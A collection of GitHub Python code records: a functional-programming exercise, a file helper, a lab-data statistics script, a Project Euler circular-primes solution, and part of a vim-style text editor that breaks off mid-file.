+{"seq_id":"19002429193","text":"def double_x(x):\n    return 2 * x\n\n\ndef triple_x(x):\n    return 3 * x\n\n\ndef modify_x(x, func):\n    result = func(x)\n    return result\n\n\ndef quadratic_eq(a, b, c):\n    def delta(a, b, c):\n        return b ** 2 - 4 * a * c\n\n    x1 = -(b + delta(a, b, c) ** 0.5) / 2\n    x2 = -(b - delta(a, b, c) ** 0.5) / 2\n\n    return x1, x2\n\n\ndef test01():\n    result = modify_x(7, double_x)\n    print(result)\n    result = modify_x(7, triple_x)\n    print(result)\n\n    print(quadratic_eq(1, 0, -9))\n\n    other_ref_to_fun = modify_x\n\n    # lambda tylko jednolinijkowa\n    result = other_ref_to_fun(2, lambda x: 4 * x)\n\n    print(result)\n\n\ndef test_lambda():\n    func01 = lambda: print(\"haha\")\n    func01()\n\n    func02 = lambda: ['red', 'green']\n    result = func02()\n    print(result)\n\n    func03 = lambda x, y: x + y\n    print(func03(2, 5))\n\n    func04 = lambda x, y=1: x + y\n    print(func04(1))\n\n    data = [{'name': \"Jan\", 'age': 15},\n            {'name': 'Adam', 'age': 54},\n            {'name': 'Anna', 'age': 21}]\n\n    data.sort(key=lambda x: x['age'])\n    print(data)\n    print(sorted(data, key=lambda x: x['name']))\n\n\ndef choose_func(name):\n    options = {'double': double_x, 'triple': triple_x}\n    return options.get(name, lambda x: x * 4)\n\n\ndef test_choose_function():\n    result = choose_func('double')(7)\n    print(result)\n    result = choose_func('triple')(7)\n    print(result)\n    result = choose_func('no_in_dict_so_use_default_value')(7)\n    print(result)\n\n\nclass XYZ:\n    def __init__(self, x, y, func):\n        self.x = x\n        self.y = y\n        self.func = func\n\n    def do(self):\n        return self.func(self.x, self.y)\n\n\ndef test_class():\n    x = XYZ(2, 3, lambda x, y: x ** y)\n    print(x.do())\n\n    x.x = 5\n    print(x.do())\n\n\nif __name__ == '__main__':\n    # test01()\n    # test_lambda()\n    # test_choose_function()\n    test_class()\n","repo_name":"kamkali/Kurs-Python","sub_path":"week03_day02/functional_programming.py","file_name":"functional_programming.py","file_ext":"py","file_size_in_byte":1846,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"42932453994","text":"#!/usr/bin/env python\nfrom os import remove, stat\nfrom shutil import copyfile\n\n\ndef write_file(file_data, out_file):\n    '''Takes a file and data as args, writes data and reverts on fail.'''\n    try:\n        if stat(out_file):\n            copyfile(out_file, 'temp_file_bak')\n        with open(out_file, 'w') as outfile:\n            outfile.write(file_data)\n    except Exception as e:\n        copyfile('temp_file_bak', out_file)\n    finally:\n        remove('temp_file_bak')\n\n\ndef read_file(in_file):\n    '''Takes file as args and read line by line and return data as list.'''\n    try:\n        with open(in_file, 'r') as infile:\n            file_data = infile.readlines()\n        return [lines.strip() for lines in file_data]\n    except IOError:\n        print ('File %s does not exit or permission denied.') % (in_file)\n    except Exception as e:\n        raise\n","repo_name":"Sreej1th/pycrumbs","sub_path":"file_handling/plain_file.py","file_name":"plain_file.py","file_ext":"py","file_size_in_byte":859,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"39832694172","text":"#merekam data\n\nimport traceback as tb\nimport statistics as stat\n\nprint(\"==============================\")\nprint(\"===PROGRAM HITUNG KADAR IAA===\")\nprint(\"Masukkan data dalam bentuk µg/g\")\nprint(\"==============================\")\nlimitData = int(input(\"Masukkan jumlah sampel: \"))\ntry:\n    #inisiasi semua objek\n    recData = open(\"recordIAA.txt\",\"w\")\n    recList = []\n    #iterasi untuk input data sejumlah sampel\n    for i in range(limitData):\n        sampleData = int(input(\n            \"Data ke-\" + str(i+1) + \": \"))\n        #tulis data ke file\n        recData.write(str(sampleData)+\"\\n\")\n        #record ke list\n        recList.insert(i, sampleData)\n    #cetak pesan bila data terekam\n    print(\"==============================\")\n    print(\"Data terekam di recordIAA.txt!\")\n    print(\"==============================\")\n    #tutup file\n    recData.close()\nexcept BaseException as be:\n    be = tb.format_exc()\n    print(\"Error: \", be)\nelse:\n    #bila tidak ada error\n    #hitung kadar IAA\n    rerata = stat.mean(recList)\n    galat = stat.stdev(recList)\n    #cetak hasil\n    hasil = (\"{a:.2f} ± {sb:.2f} µg/g\".format(\n        a = rerata, b = galat))\n    print(\"Kadar IAA pada sampel adalah:\", hasil)\nfinally:\n    #cleanup\n    #bersihkan list\n    recList = []\n    #tutup file\n    recData.close()\n","repo_name":"biokomub/bukupython310","sub_path":"Bab 09/kode9-12.py","file_name":"kode9-12.py","file_ext":"py","file_size_in_byte":1294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"14286450221","text":"# The number, 197, is called a circular prime because all rotations of the digits: 197, 971, and 719, are themselves prime.\n\n# There are thirteen such primes below 100: 2, 3, 5, 7, 11, 13, 17, 31, 37, 71, 73, 79, and 97.\n\n# How many circular primes are there below one million?\n\n# Seems simplest to get all primes below a million then iterate through to find the circular ones \n# When iterating to check if circular only need to go through digits of same length which might give a nice shortcut\n\n# Gather all primes below 100 to start with to build logic against the above known list\nimport sys\n \n# setting path\nfrom common.helpers import SieveOfEratosthenes, is_prime\n\nprimes = SieveOfEratosthenes(1000000)\n\n# I was tricked! This isn't about permutations which was my first approach, it's about ROTATIONS!\ndef get_rotations(num):\n    rotations = []\n    num = str(num)\n    for i in range(len(num)):\n        rotations.append(int(num[i:] + num[:i]))\n    return rotations\n\ncircular_primes = []\n# Go through each set of primes by number of digits\nfor prime in primes:\n    # If primes < 10 it's circular by definition\n    if prime < 10:\n        circular_primes.append(prime)\n    else:\n        # Get all rotations of digits\n        rotations = list(get_rotations(prime))\n        # Check if all rotations are in the primes set\n        for rotation in rotations:\n            if not is_prime(rotation):\n                break\n        else:\n            circular_primes.append(prime)\n\nprint(circular_primes)\nprint(len(circular_primes))","repo_name":"NickSandel/ProjectEuler","sub_path":"Thirties/problem35.py","file_name":"problem35.py","file_ext":"py","file_size_in_byte":1523,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"25223387753","text":"#!/usr/bin/env python3.10\n\"\"\"The editor.\"\"\"\nimport dataclasses as dc\nimport typing as t\n\nimport cairo\nimport colour\nimport movement as mov\nimport numpy as np\nimport regex as re\nimport shortcake as sc\nimport utils\nfrom enums import *\n\n\n@dc.dataclass\nclass ModeAndColor:\n    \"\"\"A mode that the text editor can be in.\"\"\"\n\n    mode: str\n    color: list\n\n    def __post_init__(self):\n        \"\"\"Normalize the color.\"\"\"\n        self.color = sc.utils.normalize_color(self.color)\n        self.color = self.color[:3]\n\n        # Normalize the color.\n        self.color = colour.rgb2hsl(self.color)\n        self.color = list(self.color)\n        self.color[-1] = 0.5\n        self.color = colour.hsl2rgb(self.color)\n        self.color = np.array([*self.color, 1])\n\n\n# ===| Globals |===\n\n\nwith open(__file__, \"r\", encoding=\"utf-8\") as file:\n    DEFAULT_TEXT = file.read()\n    DEFAULT_TEXT = DEFAULT_TEXT.splitlines()[:20]\n    DEFAULT_TEXT = \"\\n\".join(DEFAULT_TEXT)\n    DEFAULT_TEXT = DEFAULT_TEXT + \"h\" * 200\n\nTAB_CHAR = \" \" * 4\n\nNORMAL = ModeEnum.NORMAL\nINSERT = ModeEnum.INSERT\nSHELL = ModeEnum.SHELL\nNIMPL0 = ModeEnum.NIMPL0\nNIMPL1 = ModeEnum.NIMPL1\nLINE_NUM_CHARS = 10\n\nMODES = {\n    NORMAL: ModeAndColor(NORMAL, \"#224870\"),\n    INSERT: ModeAndColor(INSERT, \"#1B998B\"),\n    SHELL: ModeAndColor(SHELL, \"#5EE08C\"),\n    NIMPL0: ModeAndColor(..., \"#FBA823\"),\n    NIMPL1: ModeAndColor(..., \"#BA1B1D\"),\n}\n\n\nNOUNS = r\"[hjklw]\"\nSCALE = r\"(?<scale>-?\\d+)\"\n\nSHORT = {\n    \"d\": \"delete\",\n    \"c\": \"cursor\",\n    \"p\": \"paste\",\n    \"g\": \"go\",\n    \"h\": \"left\",\n    \"j\": \"down\",\n    \"k\": \"up\",\n    \"l\": \"right\",\n    \"w\": \"word\",\n}\n\nFORMS = {\n    \"delete\": rf\"(?<act>d){SCALE}?(?<noun>[d[{{('\\\"]|{NOUNS})\",\n    \"cursor\": rf\"(?<act>c){SCALE}?(?<noun>[d[{{('\\\"]|{NOUNS})\",\n    \"paste\": r\"(?<act>p)\",\n    \"go\": rf\"{SCALE}?(?<act>g)\",\n    \"left\": rf\"{SCALE}?(?<act>h)\",\n    \"down\": rf\"{SCALE}?(?<act>j)\",\n    \"up\": rf\"{SCALE}?(?<act>k)\",\n    \"right\": rf\"{SCALE}?(?<act>l)\",\n    \"word\": rf\"{SCALE}?(?<act>w)\",\n}\n\nassert set(SHORT.values()) == set(FORMS.keys()), set(SHORT.values()) - set(\n    FORMS.keys()\n) | set(FORMS.keys()) - set(SHORT.values())\n\n\n# ===| Classes |===\n\n\n@dc.dataclass\nclass TextBuffer:\n    \"\"\"A buffer object for text that provides cursors and modifications to the text using these cursors.\"\"\"\n\n    text: str = \"Hello world!\"\n    multiline: bool = True\n    newline_callback: callable = lambda self: None\n    write_callback: callable = lambda self: None\n    cursors: t.List = dc.field(default_factory=lambda: [Cursor()])\n\n    def __post_init__(self):\n        \"\"\"Make sure that all child cursors have this buffer set as their parent.\"\"\"\n        for cursor in self.cursors:\n            cursor.parent = self\n\n    def line_bounds(self, num: int) -> t.Tuple[int]:\n        \"\"\"Get the line boundaries of some line.\"\"\"\n        lines = self.text.splitlines(keepends=True)\n        num = min(len(lines) - 1, num)\n\n        old_pos = sum(map(len, lines[:num]))\n        new_pos = old_pos + len(lines[num])\n\n        return old_pos, new_pos\n\n    def write_at_all_pointers(self, chars: str, move_pointer: bool = True):\n        \"\"\"Add text at all pointers.\"\"\"\n        result = []\n\n        for cursor in sorted(self.cursors, reverse=True):\n            result.append(cursor.write(self, cursor.pointer, chars, move_pointer))\n\n        return result\n\n    def remove_all_but_one_cursor(self, new_pos=None):\n        \"\"\"Remove all except the first cursor.\"\"\"\n        self.cursors = self.cursors[:1]\n        if new_pos is not None:\n            self.cursors[0].move_pointer_and_siblings(new_pos)\n\n    def remove_duplicate_cursors(self):\n        \"\"\"Remove duplicate cursors.\"\"\"\n        self.cursors.sort()\n        prev = None\n        i = 0\n\n        # Remove pointers which are duplicates by checking if the\n        # previous pointer was the same as the current one.\n        # This works since the list is sorted.\n\n        while i < len(self.cursors):\n            cursor = self.cursors[i]\n\n            if cursor.pointer == prev:\n                self.cursors.pop(i)\n                continue\n\n            i += 1\n            prev = cursor.pointer\n\n    def clear(self):\n        \"\"\"Clear the text and merge all but one cursor.\"\"\"\n        self.cursors = self.cursors[:1]\n        self.cursors[0].set_pointer(1)\n        self.text = \"\"\n\n    def send_text(self, key: int, name: str) -> None:\n        \"\"\"Send text to the cursor.\"\"\"\n        result = []\n\n        for cursor in sorted(self.cursors, reverse=True):\n            result.append(cursor.send_text(key, name))\n\n        return result\n\n    def handle_buffer_action(self, action: BufferAction) -> None:\n        \"\"\"Send a buffer action to the cursors.\"\"\"\n        result = []\n        for cursor in sorted(self.cursors):\n            result.append(cursor.handle_buffer_action(action))\n        return result\n\n    def reset_v_pointer(self) -> None:\n        \"\"\"Reset all vertical movement pointers.\"\"\"\n        result = []\n        for cursor in sorted(self.cursors):\n            result.append(cursor.reset_v_pointer())\n        return result\n\n\n@dc.dataclass\nclass NormalModeHandler:\n    \"\"\"Handles input to the text editor in Normal mode.\"\"\"\n\n    read_buffer: TextBuffer = dc.field(default_factory=TextBuffer)\n    write_buffer: TextBuffer = dc.field(default_factory=TextBuffer)\n    registers: dict = dc.field(default_factory=lambda: {\"copy\": \"\"})\n\n    def command_is_finished(self) -> bool:\n        \"\"\"Check if a command is done.\"\"\"\n        return self.parse_command() is not None\n\n    def parse_command(self) -> None:\n        \"\"\"Parse a command.\"\"\"\n        name = form = match = None\n\n        # Try all forms.\n        for name, form in FORMS.items():\n            match = re.search(form, self.read_buffer.text)\n            if match:\n                break\n\n        # Make sure a match was made.\n        if (not match) or (len(match.group()) != len(self.read_buffer.text)):\n            return\n\n        groups = match.groupdict()\n\n        # Default on weird scales.\n        scale_default = 1\n        if name == \"go\":\n            scale_default = 0\n\n        groups[\"scale\"] = (\n            scale_default if groups.get(\"scale\") is None else int(groups[\"scale\"])\n        )\n\n        assert groups[\"scale\"] >= 0 or name == \"go\"\n        self.read_buffer.clear()\n\n        if name == \"go\":\n            new_pos = self.write_buffer.line_bounds(groups[\"scale\"])[0] + 1\n            self.write_buffer.remove_all_but_one_cursor(new_pos=new_pos)\n            return\n        if name == \"paste\":\n            for _ in range(groups[\"scale\"]):\n                self.write_buffer.write_at_all_pointers(self.registers[\"copy\"])\n            return\n        if name == \"cursor\":\n            action = BufferAction[SHORT[groups[\"noun\"]].upper()]\n            cursor = max(self.write_buffer.cursors, key=lambda x: x.pointer)\n            cursor_copy = dc.replace(cursor)\n\n            old_pos = cursor.pointer\n            for _ in range(groups[\"scale\"]):\n                cursor.handle_buffer_action(action)\n            new_pos = cursor.pointer\n            old_pos, new_pos = sorted([old_pos, new_pos])\n\n            self.write_buffer.cursors.append(cursor_copy)\n            return\n        if name == \"delete\":\n            self._handle_delete(groups)\n            return\n\n        if name == \"left\":\n            action = BufferAction.LEFT\n        elif name == \"right\":\n            action = BufferAction.RIGHT\n        elif name == \"word\":\n            action = BufferAction.WORD\n        elif name == \"up\":\n            action = BufferAction.UP\n        elif name == \"down\":\n            action = BufferAction.DOWN\n        else:\n            raise NotImplementedError()\n\n        self.read_buffer.clear()\n\n        for _ in range(groups[\"scale\"]):\n            self.write_buffer.handle_buffer_action(action)\n\n    def _handle_delete(self, groups):\n        action = BufferAction[SHORT[groups[\"noun\"]].upper()]\n\n        # Ranges to be deleted.\n        ranges = []\n\n        for cursor in self.write_buffer.cursors:\n\n            if action == BufferAction.DELETE:\n                # Handle deleting current line with dd\n                cursor.reset_v_pointer()\n                old_pos, new_pos = cursor.line_bounds()\n                old_pos += 1\n                new_pos += 1\n            else:\n                old_pos = cursor.pointer\n                for _ in range(groups[\"scale\"]):\n                    cursor.handle_buffer_action(action)\n                new_pos = cursor.pointer\n                old_pos, new_pos = sorted([old_pos, new_pos])\n\n            ranges.append((old_pos, new_pos))\n\n        # Generate all the ranges from different cursors.\n        ranges = sorted(ranges, key=lambda x: x[0])\n        new_ranges = []\n\n        prev = ranges[0]\n        for cursor_range in ranges[1:]:\n            if cursor_range[0] <= prev[1]:\n                prev = (prev[0], cursor_range[1])\n                continue\n            new_ranges.append(prev)\n            prev = cursor_range\n\n        if prev not in new_ranges:\n            new_ranges.append(prev)\n\n        new_ranges = new_ranges[::-1]\n        self.write_buffer.cursors = []\n\n        # Remove all the ranges.\n        for cursor_range in new_ranges:\n            cursor = Cursor(parent=self.write_buffer)\n            self.write_buffer.cursors.append(cursor)\n\n            old_pos, new_pos = cursor_range\n            middle = cursor.parent.text[old_pos - 1 : new_pos - 1]\n            self.registers[\"copy\"] = middle\n\n            self.write_buffer.text = (\n                self.write_buffer.text[: old_pos - 1]\n                + self.write_buffer.text[new_pos - 1 :]\n            )\n            cursor.set_pointer(old_pos)\n\n\n@dc.dataclass\nclass Cursor:\n    \"\"\"A cursor.\"\"\"\n\n    parent: TextBuffer = None\n    pointer: int = 1\n    vertical_movement_pointer: int = 0\n\n    def __bool__(self):\n        \"\"\"Return whether or not the parent has text.\"\"\"\n        return bool(self.parent.text)\n\n    def __lt__(self, other):\n        \"\"\"Return whether or not the pointer location is less than the other pointer location.\"\"\"\n        return self.pointer < other.pointer\n\n    def reset_v_pointer(self):\n        \"\"\"Reset vertical movement.\"\"\"\n        self.vertical_movement_pointer = -1\n\n    def move_pointer(self, steps, strict: bool = False) -> None:\n        \"\"\"Move the pointer forwards a number of steps or into the next match of some pattern.\"\"\"\n        if isinstance(steps, (str, re.Pattern)):\n            match = re.match(steps, self.parent.text[self.pointer :])\n            if match is None:\n                assert not strict\n            return self.move_pointer(len(match.groups(0)))\n\n        assert isinstance(steps, int), (steps, type(steps))\n        modified = self.pointer + steps\n        if modified in range(1, len(self.parent.text) + 1):\n            self.pointer = modified\n        else:\n            assert not strict\n            self.pointer = max(1, min(len(self.parent.text), modified))\n\n        dist_to_newline = self.parent.text[: self.pointer - 1][::-1].find(\"\\n\")\n\n        self.vertical_movement_pointer = max(\n            self.vertical_movement_pointer,\n            0,\n            dist_to_newline if dist_to_newline != -1 else 0,\n        )\n        return None\n\n    def set_pointer(self, pos: int, strict: bool = False) -> None:\n        \"\"\"Set the position of the pointer.\"\"\"\n        steps = pos - self.pointer\n        return self.move_pointer(steps, strict=strict)\n\n    def move_pointer_and_siblings(self, steps, strict: bool = False) -> None:\n        \"\"\"Move all pointers forwards a number of steps or into the next match of some pattern.\"\"\"\n        for cursor in self.parent.cursors:\n            cursor.move_pointer(steps, strict=strict)\n\n    def write(self, pos: int, chars: str, move_pointer: bool = True) -> None:\n        \"\"\"Write some text at a location in the string, moving relevant cursors if necessary.\"\"\"\n        self.parent.text = self.parent.text[:pos] + chars + self.parent.text[pos:]\n        self.parent.write_callback(self.parent)\n\n        if move_pointer:\n            for c in self.parent.cursors:\n                if c.pointer > pos:\n                    c.pointer += len(chars)\n\n    def delete(self, n: int) -> None:\n        \"\"\"Delete some text from the parent text.\"\"\"\n        self.parent.text = (\n            self.parent.text[: max(0, self.pointer - n)]\n            + self.parent.text[self.pointer :]\n        )\n\n    def write_with_callback(self, chars: str) -> None:\n        \"\"\"Write some text, calling the callback on newlines.\"\"\"\n        lines = chars.splitlines()\n        n_lines = len(lines)\n\n        for i, line in enumerate(lines):\n            self.write(max(0, self.pointer - 1), line)\n\n            # Avoid writing newline on the last line.\n            if i == (n_lines - 1):\n                continue\n\n            if not self.parent.multiline:\n                self.parent.newline_callback(self)\n                continue\n\n            self.write(max(0, self.pointer - 1), \"\\n\")\n\n    def send_text(self, key: int, name: str) -> None:\n        \"\"\"Handle sending text and similar modifications to the selected buffer.\"\"\"\n        mapping = {\"Tab\": TAB_CHAR}\n        char = mapping.get(name, chr(key))\n\n        # Handle Ctrl + V\n        if name == \"v\":\n            control_held_down = sc.HELD_DOWN[\"Control_R\"] or sc.HELD_DOWN[\"Control_L\"]\n\n            if control_held_down:\n                clipboard = utils.read_clipboard()\n                self.write_with_callback(clipboard)\n                return\n\n        # Special characters.\n        if name == \"ISO_Left_Tab\":\n            line_index = utils.line_num2index(0, self.pointer, self.parent.text) + 1\n            offset_to_newline = (\n                self.pointer\n                if line_index == 0\n                else (self.parent.text[: self.pointer].rfind(\"\\n\") - self.pointer)\n            )\n            offset_to_newline = abs(offset_to_newline)\n\n            line_index -= offset_to_newline\n            line_index = max(0, line_index)\n            line = self.parent.text[line_index:].splitlines()[0]\n            original_line_length = len(line)\n\n            if line.startswith(TAB_CHAR):\n                line = line.removeprefix(TAB_CHAR)\n            else:\n                line = line.lstrip()\n\n            # Actually make the move.\n            self.move_pointer_and_siblings(len(line) - original_line_length)\n            self.parent.text = (\n                self.parent.text[:line_index:]\n                + line\n                + self.parent.text[line_index + original_line_length :]\n            )\n\n        elif name == \"Left\":\n            self.handle_buffer_action(BufferAction.LEFT)\n        elif name == \"Right\":\n            self.handle_buffer_action(BufferAction.RIGHT)\n        elif name == \"Up\":\n            self.handle_buffer_action(BufferAction.UP)\n        elif name == \"Down\":\n            self.handle_buffer_action(BufferAction.DOWN)\n        elif name == \"Delete\":\n            self.delete(1)\n        elif name == \"BackSpace\":\n            self.move_pointer_and_siblings(-1)\n            self.delete(1)\n\n        elif char != \"\\x00\":\n            # Input the character.\n            if char == \"\\r\":\n                if not self.parent.multiline:\n                    self.parent.newline_callback(self)\n                    return\n                char = \"\\n\"\n\n            self.write(max(0, self.pointer - 1), char)\n\n    def prev(self, char: str) -> None:\n        \"\"\"Go to the previous occurence of a regex.\"\"\"\n        return mov.prv_template(char)(self.pointer, self.parent.text)\n\n    def next(self, char: str) -> None:\n        \"\"\"Go to the next occurence of a regex.\"\"\"\n        return (\n            mov.nxt_template(\n                char,\n            )(self.pointer, self.parent.text)\n            + 1\n            - (\n                (self.pointer - 1) in range(len(self.parent.text))\n                and (self.parent.text[self.pointer - 1] == \"\\n\")\n            )\n        )\n\n    def current_line(self) -> int:\n        \"\"\"Get the current line of the code.\"\"\"\n        return self.parent.text[: self.pointer - 1].count(\"\\n\")\n\n    def line_bounds(self, n=None) -> t.Tuple[int]:\n        \"\"\"Get the bounds of some line of the code, defaulting to the current line.\"\"\"\n        if n is None:\n            n = self.current_line()\n\n        lines = self.parent.text.splitlines(keepends=True)\n        n = min(len(lines) - 1, n)\n\n        old_pos = sum(map(len, lines[:n]))\n        new_pos = old_pos + len(lines[n])\n\n        return old_pos, new_pos\n\n    def handle_buffer_action(self, action: BufferAction):\n        \"\"\"Handle actions.\"\"\"\n        if action == BufferAction.LEFT:\n            # Go backwards one character.\n            self.reset_v_pointer()\n            self.move_pointer(-1)\n        elif action == BufferAction.RIGHT:\n            # Go forwards one character.\n            self.reset_v_pointer()\n            self.move_pointer(1)\n        elif action == BufferAction.WORD:\n            self.reset_v_pointer()\n            pos = self.next(r\"(.|\\n)(\\b|\\n)\\w\")\n            self.set_pointer(pos)\n        elif action in {BufferAction.UP, BufferAction.DOWN}:\n            if action == BufferAction.UP:\n                # Go back to the top if on first line.\n                if self.current_line() == 0:\n                    self.reset_v_pointer()\n                    self.set_pointer(1)\n                    return\n                pos = self.prev(r\"[^\\n]*\\n\")\n            elif action == BufferAction.DOWN:\n                # Go to the end of the buffer if on last line.\n                if self.current_line() == self.parent.text.count(\"\\n\"):\n                    self.reset_v_pointer()\n                    self.set_pointer(int(1e20))\n                    return\n\n                pos = self.next(r\"\\n\")\n            else:\n                raise NotImplementedError()\n\n            line = self.parent.text[:pos].count(\"\\n\")\n\n            # Move to the same location in the next line.\n            lines = self.parent.text.splitlines(keepends=True)\n            endl_0 = sum(map(len, lines[:line]))\n            endl_1 = sum(map(len, lines[: line + 1]))\n            pos = endl_0 + self.vertical_movement_pointer + 1\n\n            # Make sure the position is on the right line.\n            pos = min(endl_1, pos)\n            self.set_pointer(pos)\n        else:\n            raise NotImplementedError()\n\n\n@dc.dataclass\nclass TextWindow(sc.Container):\n    \"\"\"A window containing text.\"\"\"\n\n    active_buffer: ... = None\n\n    focused_line: int = 0\n    top_line: int = 0\n    inner_spacing: int = 16\n\n    font_size: int = 20\n    char_ratio: float = 0.5  # The height/width ratio for Iosevka.\n    text_v_spacing_ratio: int = 0.2\n\n    cursor: sc.Rectangle = dc.field(default_factory=sc.Rectangle)\n    body: sc.Container = dc.field(default_factory=sc.Container)\n    body_buffer: TextBuffer = dc.field(default_factory=lambda: TextBuffer(DEFAULT_TEXT))\n\n    @property\n    def text_v_spacing(self):\n        \"\"\"Get the vertical spacing between different characters.\"\"\"\n        return self.font_size * self.text_v_spacing_ratio\n\n    def _get_char_size(self, ctx) -> np.ndarray:\n        \"\"\"Get the size of a character in this font.\"\"\"\n        txt = sc.Text()\n        ctx.select_font_face(txt.font_face, txt.font_slant, txt.font_weight)\n        ctx.set_font_size(self.font_size)\n        (_, _, width, height, _, _) = ctx.text_extents(\"█\")\n\n        return np.array([width, height])\n\n    def _get_body_n_chars(self, ctx) -> np.ndarray:\n        \"\"\"Get a ndarray that contains the number of rows and columns available in the body.\"\"\"\n        width, height = self._get_char_size(ctx)\n        return (self.body.size) / [width, height + self.text_v_spacing]\n\n    def _get_pos(self, x: int, y: int, ctx) -> np.ndarray:\n        \"\"\"Get the position in pixels from the coordinates of the symbol.\"\"\"\n        return self.body.get_top_left() + [\n            x * self._get_char_size(ctx)[0],\n            (\n                y * (self.text_v_spacing + self._get_char_size(ctx)[1])\n                + self.text_v_spacing\n                + 2 * self.font_size\n            ),\n        ]\n\n    def _update_cursor(self, ctx, wide=True):\n        \"\"\"Update the cursor attribute to be drawn on screen.\"\"\"\n        if wide:\n            self.cursor = sc.RoundedRectangle(\n                size=[\n                    self._get_char_size(ctx)[0] * 1.2,\n                    self._get_char_size(ctx)[1] * 1.2,\n                ],\n                color=sc.utils.Color.ACCENT_1,\n                radius=self._get_char_size(ctx)[0] * 0.3,\n                anchor=sc.Anchor.LEFT,\n            )\n        else:\n            self.cursor = sc.Rectangle(\n                size=[\n                    self._get_char_size(ctx)[0] * 0.2,\n                    self._get_char_size(ctx)[1] * 1.5,\n                ],\n                color=sc.utils.Color.WHITE,\n                anchor=sc.Anchor.LEFT,\n            )\n\n    def _update_body(self, ctx):\n        \"\"\"Update the body.\"\"\"\n        self._update_cursor(ctx, wide=self.current_mode.mode != INSERT)\n        self._focus_selected_line(ctx)\n\n        # Generate line number and line.\n        def get_item(line, num=None):\n            num = \"·\" if num is None else str(num + self.focused_line)\n            num = num.rjust(5).ljust(LINE_NUM_CHARS)\n            return num, line\n\n        self.body_buffer.remove_duplicate_cursors()\n        self.body.children = []\n        n_drawn_lines = 0\n\n        char_size = self._get_body_n_chars(ctx)\n        char_size = list(map(int, char_size))\n        char_size[0] -= 2\n        assert all(i > 10 for i in char_size)\n\n        cursor_queue = self.body_buffer.cursors.copy()\n\n        # Get the lines.\n        queue = []\n        lines = self.body_buffer.text.splitlines(keepends=True)\n        n_chars = sum(map(len, lines[: self.focused_line]))\n        lines = lines[max(0, self.focused_line) :]\n\n        for i, line in enumerate(lines):\n            item = get_item(line, i)\n            queue.append(item)\n\n        # Draw as many lines as possible until the screen runs out of space.\n        while queue and (n_drawn_lines < char_size[1]):\n            num, line = queue.pop(0)\n            d_len = len(num)\n\n            # If the line is too long, it's broken up into two parts.\n            if (len(line) + d_len) > char_size[0]:\n                char_size_d = char_size[0] - d_len\n                line, rest = line[:char_size_d], line[char_size_d:]\n                queue.insert(0, get_item(rest))\n\n            n_chars += len(line)\n\n            # Add the children to be drawn.\n            self.body.children.append(\n                sc.Text(\n                    text=num,\n                    color=sc.utils.Color.GREY_L1,\n                    font_size=self.font_size,\n                    position=self._get_pos(0, n_drawn_lines, ctx),\n                    anchor=sc.Anchor.BOTTOM | sc.Anchor.LEFT,\n                )\n            )\n\n            self.body.children.append(\n                sc.ColoredText(\n                    text=line.removesuffix(\"\\n\"),\n                    default_state=sc.TextState(fore=sc.utils.Color.WHITE),\n                    font_size=self.font_size,\n                    position=self._get_pos(LINE_NUM_CHARS, n_drawn_lines, ctx),\n                    anchor=sc.Anchor.BOTTOM | sc.Anchor.LEFT,\n                )\n            )\n\n            i = 0\n\n            while i < len(cursor_queue):\n                cursor = cursor_queue[i]\n                if n_chars < cursor.pointer:\n                    i += 1\n                    continue\n\n                cursor_queue.pop(i)\n\n                x_coord = cursor.pointer - n_chars + len(line) - 1\n                y_coord = n_drawn_lines - 1\n                self._draw_cursor_at(x_coord, y_coord, ctx)\n\n            n_drawn_lines += 1\n\n    def _draw_cursor_at(self, x, y, ctx):\n        # Draw the pointer if it's on the right row of characters.\n        self.cursor.position = self._get_pos(LINE_NUM_CHARS + x, y, ctx)\n\n        if self.current_mode.mode != INSERT:\n            self.cursor.color = self.body.children[-1].get_state(x).fore\n            self.body.children[-1].set_state(\n                x, x + 1, sc.TextState(fore=sc.utils.Color.BLACK)\n            )\n        selector = sc.RoundedRectangle(\n            size=[\n                self._get_char_size(ctx)[0] * 6,\n                self._get_char_size(ctx)[1] * 1.3,\n            ],\n            color=sc.utils.Color.ACCENT_2,\n            radius=self._get_char_size(ctx)[0] * 0.3,\n            anchor=sc.Anchor.LEFT,\n        )\n\n        self.body.children[-2].color = sc.utils.Color.BLACK\n        selector.position = self._get_pos(0, y, ctx)\n\n        # Do the rendering.\n        self.cursor.render(ctx)\n        selector.render(ctx)\n\n    def _focus_selected_line(self, ctx) -> None:\n        \"\"\"Make sure that the selected line is focused.\"\"\"\n        focused_pointer = self.body_buffer.cursors[-1].pointer\n        lines = self.body_buffer.text.splitlines(keepends=True)\n\n        acc = 0\n        i = 0\n\n        for i, line in enumerate(lines):\n            acc += len(line)\n            if acc >= focused_pointer:\n                break\n\n        self.top_line = i\n\n        char_size = self._get_body_n_chars(ctx)\n        lines_on_screen = int(char_size[1])\n\n        top_line_to_show = i - (lines_on_screen // 2)\n        top_line_to_show = max(0, top_line_to_show)\n        self.focused_line = top_line_to_show\n\n\n@dc.dataclass\nclass Editor(TextWindow):\n    \"\"\"The editor.\"\"\"\n\n    normal_handler: NormalModeHandler = dc.field(default_factory=NormalModeHandler)\n    normal_buffer: TextBuffer = dc.field(\n        default_factory=lambda: TextBuffer(text=\"\", multiline=False)\n    )\n    shell_buffer: TextBuffer = dc.field(\n        default_factory=lambda: TextBuffer(text=\"\", multiline=False)\n    )\n\n    current_mode: ModeAndColor = MODES[NORMAL]\n    top_info: sc.RoundedRectangle = dc.field(default_factory=sc.RoundedRectangle)\n    mode_indicator: sc.RoundedRectangle = dc.field(default_factory=sc.RoundedRectangle)\n    mode_buffer_container: sc.RoundedRectangle = dc.field(\n        default_factory=sc.RoundedRectangle\n    )\n\n    def __post_init__(self):\n        self.body_buffer.cursors = [\n            Cursor(self.body_buffer, pointer=3),\n            Cursor(self.body_buffer, pointer=10),\n        ]\n\n        self.active_buffer = self.body_buffer\n        self.shell_buffer.newline_callback = lambda s: self._handle_shell_command(\n            s.text\n        )\n\n        for i in (\n            self.body,\n            self.top_info,\n            self.mode_indicator,\n            self.mode_buffer_container,\n        ):\n            i.parent = self\n            i.color = sc.utils.Color.ACCENT_0\n            i.anchor = sc.Anchor.TOP | sc.Anchor.LEFT\n\n        self.mode_buffer_container.color = sc.utils.Color.GREY_D1\n\n        self.mode_indicator.children.append(\n            sc.Text(\n                text=self.current_mode.mode.name,\n                